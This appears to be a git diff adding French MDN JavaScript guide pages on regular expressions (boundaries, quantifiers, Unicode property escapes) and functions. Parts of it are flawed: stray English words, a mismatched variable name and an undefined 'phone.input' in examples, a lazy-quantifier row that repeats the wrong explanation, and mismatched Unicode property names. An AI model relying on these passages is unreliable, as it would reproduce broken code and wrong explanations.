+// nouveau motif : un ou plusieurs caractères, des blancs puis des caractères.
+// On utilise des parenthèses pour garder en mémoire les groupes du motif.
+// On utilisera ces groupes par la suite.
+motif = /(\w+)\s+(\w+)/;
+
+// Nouveau tableau pour enregistrer les noms traités.
+var listeParNomFamille = [];
+
+// Afficher le tableau des noms et remplir le nouveau tableau
+// avec les noms et prénoms séparés par des virgules, le nom
+// de famille étant écrit en premier
+//
+// La méthode replace supprime tout ce qui correspond au motif
+// et le remplace par le nom (mémorisé), une virgule, un espace
+// et le prénom (mémorisé).
+//
+// Les variables $1 et $2 font références aux fragments gardés
+// en mémoire lors de l'utilisation du motif.
+
+output.push("---------- Après découpage avec l'expression régulière");
+
+var i, len;
+for (i = 0, len = listeNoms.length; i &lt; len; i++){
+  output.push(listeNoms[i]);
+  listeParNomFamille[i] = listeNoms[i].replace(motif, "$2, $1");
+}
+
+// Afficher le nouveau tableau
+output.push("---------- Noms et prénoms inversés");
+for (i = 0, len = listeParNomFamille.length; i &lt; len; i++){
+  output.push(listeParNomFamille[i]);
+}
+
+// Trier par le nom de famille puis afficher le tableau trié
+listeParNomFamille.sort();
+output.push("---------- Triée");
+for (i = 0, len = listeParNomFamille.length; i &lt; len; i++){
+  output.push(listeParNomFamille[i]);
+}
+
+output.push("---------- Fin");
+
+console.log(output.join("\n"));
+</pre>
+
+<h3 id="Utiliser_les_caractères_spéciaux_pour_vérifier_la_saisie">Utiliser les caractères spéciaux pour vérifier la saisie</h3>
+
+<p>Dans l'exemple suivant, on s'attend à ce que l'utilisateur saisissent un numéro de téléphone. Quand l'utilisateur appuie sur le bouton "Vérifier", le script vérifie la validité du numéro. Si le numéro est valide (il correspond à la séquence de caractères fournie par l'expression régulière), le script affiche un message remerciant l'utilisateur et confirmant le numéro. S'il est invalide, le script informe l'utilisateur et lui signifie que les informations saisies ne sont pas valides.</p>
+
+<p>Dans les parenthèses sans mémoire <code>(?:</code> , l'expression régulière cherche les deux premiers chiffres ou l'indicatif du pays suivi d'un blanc et du premier chiffre, ce qui correspond à</p>
+
+<pre class="brush: html notranslate">\d{2}|\+\d{2}[ ]\d</pre>
+
+<p>Cette partie signifie : deux chiffres OU un signe '+' suivi de deux chiffres, un blanc et un autre chiffre.</p>
+
+<p>Ensuite, on a un groupe qui est mémorisé (entre parenthèses) :</p>
+
+<pre class="brush: html notranslate">([- ])</pre>
+
+<p>Ce groupe correspond à ce qui va être utilisé pour séparer les différentes composantes du numéro de téléphone.</p>
+
+<p>Ensuite,</p>
+
+<pre class="brush: html notranslate">\d{2}\1</pre>
+
+<p>signifie qu'on a deux chiffres suivi du premier groupe qui est celui qui définit le séparateur. Le reste est composé de la même façon. Ainsi les numéros de téléphone +33 1 23 45 67 89 et 01 23 45 67 89 seront tous les deux valides.</p>
+
+<p>L'événement <code>Change</code>, provoqué quand l'utilisateur appuie sur Entrée, renseigne la valeur <code>RegExp.input</code>.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+    &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+    &lt;script type="text/javascript"&gt;
+      var re = /(?:\d{2}|\+\d{2}[ ]\d)([- ])\d{2}\1\d{2}\1\d{2}\1\d{2}/;
+      function testInfo(phoneInput){
+        var OK = re.exec(phoneInput.value);
+        if (!OK)
+          window.alert(phone.input + " n'est pas un numéro de téléphone valide!");
+        else
+          window.alert("Merci, votre numéro est : " + OK[0]);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Saisissez votre numéro de téléphone (avec indicatif) puis cliquez sur "Vérifier".
+        &lt;br&gt;Le format attendu est ## ## ## ## ## ou +## # ## ## ## ##.&lt;/p&gt;
+    &lt;form action="#"&gt;
+      &lt;input id="phone"&gt;&lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Vérifier&lt;/button&gt;
+    &lt;/form&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Formatage_du_texte", "Web/JavaScript/Guide/Collections_indexées")}}</p>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/limites/index.html b/files/fr/web/javascript/guide/expressions_régulières/limites/index.html
new file mode 100644
index 0000000000..513b3ae810
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/limites/index.html
@@ -0,0 +1,95 @@
+---
+title: Limites
+slug: Web/JavaScript/Guide/Expressions_régulières/Limites
+tags:
+  - Guide
+  - JavaScript
+  - Limites
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Les limites permettent d'indiquer les débuts et fins des lignes et des mots.</p>
+
+<h2 id="Types">Types</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caractères</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>^</code></td>
+   <td>
+    <p>Correspond au début la séquence. Si le marqueur (<em>flag</em>) de lignes multiples vaut <code>true</code>, il correspondra également immédiatement après un caractère de saut de ligne.<br>
+     <br>
+     Ainsi, <code>/^A/</code> ne correspond pas au 'A' de "un A", mais correspond au 'A' de "Arceau".<br>
+     <br>
+     Le caractère '<code>^</code>' possède un sens différent lorsqu'il est utilisé dans un motif d'ensemble de caractères. Voir les <a href="#special-negated-character-set">compléments sur les ensembles de caractères </a>pour plus de détails et d'exemples.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>$</code></td>
+   <td>
+    <p>Correspond à la fin de la séquence. Si le marqueur (<em>flag</em>) de lignes multiples vaut true, il correspondra également immédiatement avant un caractère de saut de ligne.</p>
+
+    <p>Ainsi, <code>/t$/</code> ne correspond pas au 't' de "printemps", mais correspond au 't' de "aliment".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>
+    <p>Correspond à la position d'uneAfter the  <em>limite de mot</em>. Une limite de mot correspond à la position où un caractère d'un mot n'est pas suivi ou précédé d'un autre caractère de mot. Il faut savoir que la limite correspondante n'est pas incluse dans le résultat. Autrement dit, la longueur d'une telle correspondance est nulle. (À ne pas confondre avec <code>[\b]</code>.)</p>
+
+    <p>Exemples :<br>
+     <code>/\bm/</code> correspond au 'm' dans "mignon" ;<br>
+     <code>/no\b/</code> ne correspond pas au  'no' de "mignon" car 'no' est suivi de 'n' qui n'est pas un caractère de limite de mot;<br>
+     <code>/non\b/</code> correspond au 'non' de "mignon" car 'non' représente la fin de la chaîne de caractère et n'est donc pas suivi par un caractère de mot.<br>
+     <code>/\w\b\w/</code> ne correspondra jamais à quoi que ce soit car un caractère de mot ne peut pas être suivi à la fois par un caractère de mot et un caractère n'étant pas un caractère de mot.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Le moteur d'expressions rationnelles JavaScript définit <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">un ensemble de caractères spécifiques</a> qui doivent être considérés comme des caractères de mot. Tout caractère qui n'est pas dans cet ensemble est considéré comme une limite de mot. Cet ensemble de caractères est relativement limité car constitué uniquement des caractères de l'alphabet romain en minuscules et en majuscules, des chiffres décimaux et du tiret-bas (<em>underscore</em>). Les autres caractères, comme les caractères accentués (é ou ü par exemple), sont donc considérés comme des limites de mots.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\B</code></td>
+   <td>
+    <p>Correspond à une "non-<em>limite de mot</em>". Cela correspond pour les cas suivants :</p>
+
+    <ul>
+     <li>Avant le premier caractère d'une chaîne de caractères</li>
+     <li>Après le dernier caractère d'une chaîne de caractères</li>
+     <li>Entre deux caractères de mot</li>
+     <li>Entre deux caractères qui ne sont pas des caractères de mot</li>
+     <li>Avec la chaîne vide.</li>
+    </ul>
+
+    <p>Ainsi, <code>/\B../</code> correspond au 'oo' de "football" (et <code>/e\B./</code> correspond au 'er' dans "une mer "</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cibler_le_début_d'un_champ_grâce_au_caractère_de_contrôle">Cibler le début d'un champ grâce au caractère de contrôle <code>^</code></h3>
+
+<p>On utilisera le caractère spécial <code>^</code> afin de cibler le début d'un mot. Dans cet exemple, on filtre les fruits qui commencent par A grâce à l'expression rationnelle <code> /^A/</code>.</p>
+
+<pre class="brush: js">let fruits = ["Ananas", "Melon", "Orange", "Abricot", "Pomme"];
+
+let fruitsDebutantParA = fruits.filter(fruit =&gt; /^A/.test(fruit));
+console.table(fruitsDebutantsParA); // [ 'Ananas', 'Abricot' ]</pre>
+
+<p>Dans ce deuxième exemple, on utilise <code>^</code> à la fois pour indiquer le début du mot et pour indiquer un groupe complémentaire pour ne sélectionner que les fruits dont le nom ne commence pas par A.</p>
+
+<pre class="brush: js">let fruits = ["Ananas", "Melon", "Orange", "Abricot", "Pomme"];
+
+let fruitsNeDebutantPasParA = fruits.filter(fruit =&gt; /^[^A]/.test(fruit));
+console.table(fruitsNeDebutantPasParA); // [ 'Melon', 'Orange', 'Pomme' ]]
+</pre>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/quantificateurs/index.html b/files/fr/web/javascript/guide/expressions_régulières/quantificateurs/index.html
new file mode 100644
index 0000000000..75137ff14d
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/quantificateurs/index.html
@@ -0,0 +1,97 @@
+---
+title: Quantificateurs
+slug: Web/JavaScript/Guide/Expressions_régulières/Quantificateurs
+tags:
+  - Guide
+  - JavaScript
+  - Quantificateurs
+  - RegExp
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Les quantificateurs indiquent le nombre de caractères ou d'expressions qu'il faut pour une correspondance.</p>
+
+<h2 id="Types">Types</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caractères</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><em>x</em>*</code></td>
+   <td>
+    <p>Correspond à l'expression précédente qui est répétée 0 ou plusieurs fois. Équivalent à <code>{0,}</code></p>
+
+    <p>Ainsi, <code>/bo*/</code> correspond à 'boo' dans "Un booléen" et à 'b' dans "Un bateau bleu", mais ne correspond à rien dans "Ce matin".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>+</code></td>
+   <td>
+    <p>Correspond à l'expression précédente qui est répétée une ou plusieurs fois. C'est équivalent à <code>{1,}</code>.</p>
+
+    <p>Ainsi, <code>/a+/</code> correspond au 'a' dans "maison" et à tous les 'a' dans "maaaaaaison" mais ne correspond à rien dans "mission".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>?</code></td>
+   <td>
+    <p>Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à <code>{0,1}</code>.<br>
+     <br>
+     Ainsi, <code>/e?le?/</code> correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".<br>
+     <br>
+     S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple <code>/\d+/</code> utilisée avec "123abc" fait correspondre "123". Utiliser <code>/\d+?/</code> à la même chaîne de caractères fait correspondre "1".<br>
+     <br>
+     Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes <code>x(?=y)</code> et <code>x(?!y)</code> de ce tableau.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>}</code></td>
+   <td>
+    <p>Correspond pour exactement n occurences de l'expression précédente. N doit être un entier positif.<br>
+     <br>
+     Ainsi, <code>/a{2}/</code> ne correspond pas au 'a' de "Mozilla" mais correspond à tous les 'a' de "Mozilaa" et aux deux premiers 'a' de "Mozillaaa".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,}</code></td>
+   <td>
+    <p>Correspond lorsqu'il y a au moins <code>n</code> occurences de l'expression précédente. <code>n</code> doit être un entier positif.</p>
+
+    <p>Par exemple <code>/a{2,}/</code> correspondra à <code>"aa"</code> ou à <code>"aaa"</code> ou encore à <code>"aaaa"</code> mais pas à <code>"a"</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,<em>m</em>}</code></td>
+   <td>
+    <p>Lorsque <code>n</code> et <code>m</code> sont des entiers positifs, cela correspond à au moins <code>n</code> occurences de l'expression précédente et à au plus <code>m</code> occurrences. Lorsque <code>m</code> n'est pas utilisé, la valeur par défaut correspondante sera l'infini.</p>
+
+    <p>Ainsi, <code>/a{1,3}/</code> ne correspond à rien dans "Mozill", au 'a' de "Mozilla", au deux premiers 'a' de "Mozillaa" et au trois premiers 'a' de "Mozillaaaaa". Pour ce dernier exemple, on doit noter que le correspondance ne se fait que sur "aaa" bien qu'il y ait plus de 'a' dans la chaîne de caractères.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code><em>x</em>*?</code><br>
+     <code><em>x</em>+?</code><br>
+     <code><em>x</em>??</code><br>
+     <code><em>x</em>{n}?</code><br>
+     <code><em>x</em>{n,}?</code><br>
+     <code><em>x</em>{n,m}?</code></p>
+   </td>
+   <td>
+    <p>Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à <code>{0,1}</code>.<br>
+     <br>
+     Ainsi, <code>/e?le?/</code> correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".<br>
+     <br>
+     S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple <code>/\d+/</code> utilisée avec "123abc" fait correspondre "123". Utiliser <code>/\d+?/</code> à la même chaîne de caractères fait correspondre "1".<br>
+     <br>
+     Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes <code>x(?=y)</code> et <code>x(?!y)</code> de ce tableau.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/javascript/guide/expressions_régulières/échappement_propriétés_unicode/index.html b/files/fr/web/javascript/guide/expressions_régulières/échappement_propriétés_unicode/index.html
new file mode 100644
index 0000000000..df05a95dda
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_régulières/échappement_propriétés_unicode/index.html
@@ -0,0 +1,430 @@
+---
+title: Échappement des propriétés Unicode
+slug: Web/JavaScript/Guide/Expressions_régulières/Échappement_propriétés_Unicode
+tags:
+  - Expressions rationnelles
+  - Expressions régulières
+  - Guide
+  - JavaScript
+  - regex
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Les séquences d'échappement pour les propriétés Unicode permettent de distinguer les caractères Unicodes en fonction de leurs propriétés : majuscules, minuscules, symboles mathématiques, ponctuation, etc.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">// Valeurs non-binaires
+\p{UnicodePropertyName=<em>ValeurPropriétéUnicode</em>}
+\p{UnicodePropertyName}
+
+// Valeurs binaires et non-binaires
+\p{UnicodePropertyName}
+</pre>
+
+<dl>
+ <dt><code>ValeurPropriétéUnicode</code></dt>
+ <dd>Une des valeurs listées ci-après. Pour certaines valeurs, le mot-clé <code>NomPropriétéUnicode</code> et le signe égal peuvent être omis.</dd>
+</dl>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<h3 id="Non-binaires">Non-binaires</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Échappements</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\p{LC}<br>
+    \p{Cased_Letter}<br>
+    \p{UnicodePropertyName=Cased_Letter}</code></td>
+   <td>N'importe quelle lettre avec la version minuscule et la version majuscule. Équivalent à <code>\p{Lu}|\p{Ll}|p{Lt}</code>.</td>
+  </tr>
+  <tr>
+   <td><code>\p{Close_Punctuation}<br>
+    \p{UnicodePropertyName=Close_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Connector_Punctuation}<br>
+    \p{UnicodePropertyName=Connector_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Control}<br>
+    \p{UnicodePropertyName=Control}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Currency_Symbol}<br>
+    \p{UnicodePropertyName=Currency_Symbol}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Dash_Punctuation}<br>
+    \p{UnicodePropertyName=Dash_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Decimal_Number}<br>
+    \p{UnicodePropertyName=Decimal_Number}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Enclosing_Mark}<br>
+    \p{UnicodePropertyName=Enclosing_Mark}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Final_Punctuation}<br>
+    ​​​​​​​\p{UnicodePropertyName=Final_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Format}<br>
+    ​​​​​​​\p{UnicodePropertyName=Format}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Initial_Punctuation}<br>
+    ​​​​​​​\p{UnicodePropertyName=Initial_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Letter}<br>
+    ​​​​​​​\p{UnicodePropertyName=Letter}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Letter_Number}<br>
+    ​​​​​​​\p{UnicodePropertyName=Line_Separator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Lowercase_Letter}<br>
+    ​​​​​​​\p{UnicodePropertyName=Lowercase_Letter}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Mark}<br>
+    ​​​​​​​\p{UnicodePropertyName=Mark}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Math_Symbol;}<br>
+    ​​​​​​​\p{UnicodePropertyName=Math_Symbol}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Modifier_Letter}<br>
+    ​​​​​​​\p{UnicodePropertyName=Modifier_Letter}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Modifier_Symbol}<br>
+    ​​​​​​​\p{UnicodePropertyName=Modifier_Symbol}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Nonspacing_Mark}<br>
+    ​​​​​​​\p{UnicodePropertyName=Nonspacing_Mark}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Number}<br>
+    ​​​​​​​\p{UnicodePropertyName=Number}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Open_Punctuation}<br>
+    ​​​​​​​\p{UnicodePropertyName=Open_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Other}<br>
+    ​​​​​​​\p{UnicodePropertyName=Other_Letter}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Other_Letter}<br>
+    ​​​​​​​\p{UnicodePropertyName=Other_Letter}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Other_Number}<br>
+    ​​​​​​​\p{UnicodePropertyName=Other_Number}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Other_Punctuation}<br>
+    ​​​​​​​\p{UnicodePropertyName=Other_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Paragraph_Separator}<br>
+    ​​​​​​​\p{UnicodePropertyName=Paragraph_Separator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Private_Use}</code>Meaning<br>
+    <code>​​​​​​​\p{UnicodePropertyName=Private_Use}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Punctuation}<br>
+    ​​​​​​​\p{UnicodePropertyName=Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Separator}<br>
+    ​​​​​​​\p{UnicodePropertyName=Separator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Space_Separator}<br>
+    ​​​​​​​\p{UnicodePropertyName=Space_Separator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Spaceing_Mark}<br>
+    ​​​​​​​\p{UnicodePropertyName=Spacing_Mark}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Surrogate}<br>
+    ​​​​​​​\p{UnicodePropertyName=Surrogate}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Symbol}<br>
+    ​​​​​​​\p{UnicodePropertyName=Symbol}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Titlecase_Letter}<br>
+    ​​​​​​​\p{UnicodePropertyName=Titlecase_Letter}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Unassigned}<br>
+    ​​​​​​​\p{UnicodePropertyName=Unassigned}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Uppercase_Letter}<br>
+    ​​​​​​​\p{UnicodePropertyName=UppercaseLetter}</code></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Binaires">Binaires</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Échappement</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\p{Alphabetic}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Bidi_Control}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Bidi_Mirrored}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Case_Ignorable}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Cased}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Changes_When_Casefolded}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Changes_When_Casemapped}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Changes_When_Lowercased}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Changes_When_NFKC_Casefolded}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Changes_When_Titlecased}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Changes_When_Uppercased}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Dash}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Default_Ignorable_Code_Point}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Deprecated}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Diacritic}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Emoji}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Emoji_Component}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Emoji_Modifier}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Emoji_Modifier_Base}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Emoji_Presentation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Extender}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Grapheme_Base}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Grapheme_Extend}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Hex_Digit}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{ID_Continue}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{ID_Start}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Ideographic}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{IDS_Binary_Operator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{IDS_Trinary_Operator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Join_Control}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Logical_Order_Exception}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Lowercase}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Math}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Noncharacter_Code_Point}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Pattern_Syntax}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Pattern_White_Space}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Quotation_Mark}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Radical}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{RegionalIndicator}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Sentence_Terminal}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Soft_Dotted}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Terminal_Punctuation}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Unified_Ideograph}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Uppercase}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{Variation_Selector}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{White_Space}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{XID_Continue}</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>\p{XID_Start}</code></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/javascript/guide/fonctions/index.html b/files/fr/web/javascript/guide/fonctions/index.html
new file mode 100644
index 0000000000..68c87566ff
--- /dev/null
+++ b/files/fr/web/javascript/guide/fonctions/index.html
@@ -0,0 +1,670 @@
+---
+title: Fonctions
+slug: Web/JavaScript/Guide/Fonctions
+tags:
+  - Débutant
+  - Functions
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Boucles_et_it%C3%A9ration", "Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs")}}</p>
+
+<p class="summary">Les fonctions font partie des briques fondamentales de JavaScript. Une fonction est une procédure JavaScript, un ensemble d'instructions effectuant une tâche ou calculant une valeur. Afin d'utiliser une fonction, il est nécessaire de l'avoir auparavant définie au sein de la portée dans laquelle on souhaite l'appeler.</p>
+
+<p>On pourra également lire <a href="/fr/docs/Web/JavaScript/Reference/Fonctions">le chapitre de la référence JavaScript sur les fonctions</a> pour étudier plus en détails ce concept</p>
+
+<h2 id="Définir_des_fonctions">Définir des fonctions</h2>
+
+<h3 id="Les_déclarations_de_fonctions">Les déclarations de fonctions</h3>
+
+<p>Une <strong>définition de fonction</strong> (aussi appelée <strong>déclaration de fonction</strong> ou <strong>instruction de fonction</strong>) est construite avec le mot-clé <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function"><code>function</code></a>, suivi par :</p>
+
+<ul>
+ <li>Le nom de la fonction.</li>
+ <li>Une liste d'arguments à passer à la fonction, entre parenthèses et séparés par des virgules.</li>
+ <li>Les instructions JavaScript définissant la fonction, entre accolades, <code>{ }</code>.</li>
+</ul>
+
+<p>Le code suivant, par exemple, définit une fonction intitulée <code>carré</code> :</p>
+
+<pre class="brush: js">function carré(nombre) {
+  return nombre * nombre;
+}
+</pre>
+
+<p>La fonction <code>carré</code> prend un seul argument, appelé <code>nombre</code>. La fonction est composée d'une seule instruction qui renvoie l'argument de la fonction (<code>nombre</code>) multiplié par lui-même. L'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/return"><code>return</code></a> spécifie la valeur qui est renvoyée par la fonction.</p>
+
+<pre class="brush: js">return nombre * nombre;
+</pre>
+
+<p>Les paramètres primitifs (comme les nombres) sont passés à la fonction <strong>par valeur</strong>. La valeur est passée à la fonction mais si cette dernière change la valeur du paramètre, cela n'aura pas d'impact au niveau global ou au niveau de ce qui a appelé la fonction.</p>
+
+<p>Si l'argument passé à la fonction est un objet (une valeur non-primitive, comme un objet {{jsxref("Array")}} ou un objet défini par l'utilisateur), et que la fonction change les propriétés de cet objet, ces changements seront visibles en dehors de la fonction. Par exemple :</p>
+
+<pre class="brush: js">function maFonction(monObjet) {
+  monObjet.fabricant = "Toyota";
+}
+
+var mavoiture = {fabricant: "Honda", modèle: "Accord", année: 1998};
+var x, y;
+
+x = mavoiture.fabricant;     // x aura la valeur "Honda"
+
+maFonction(mavoiture);
+y = mavoiture.fabricant; // y aura la valeur "Toyota"
+                         // (la propriété fabricant a été modifiée par la fonction)
+</pre>
+
+<div class="note">
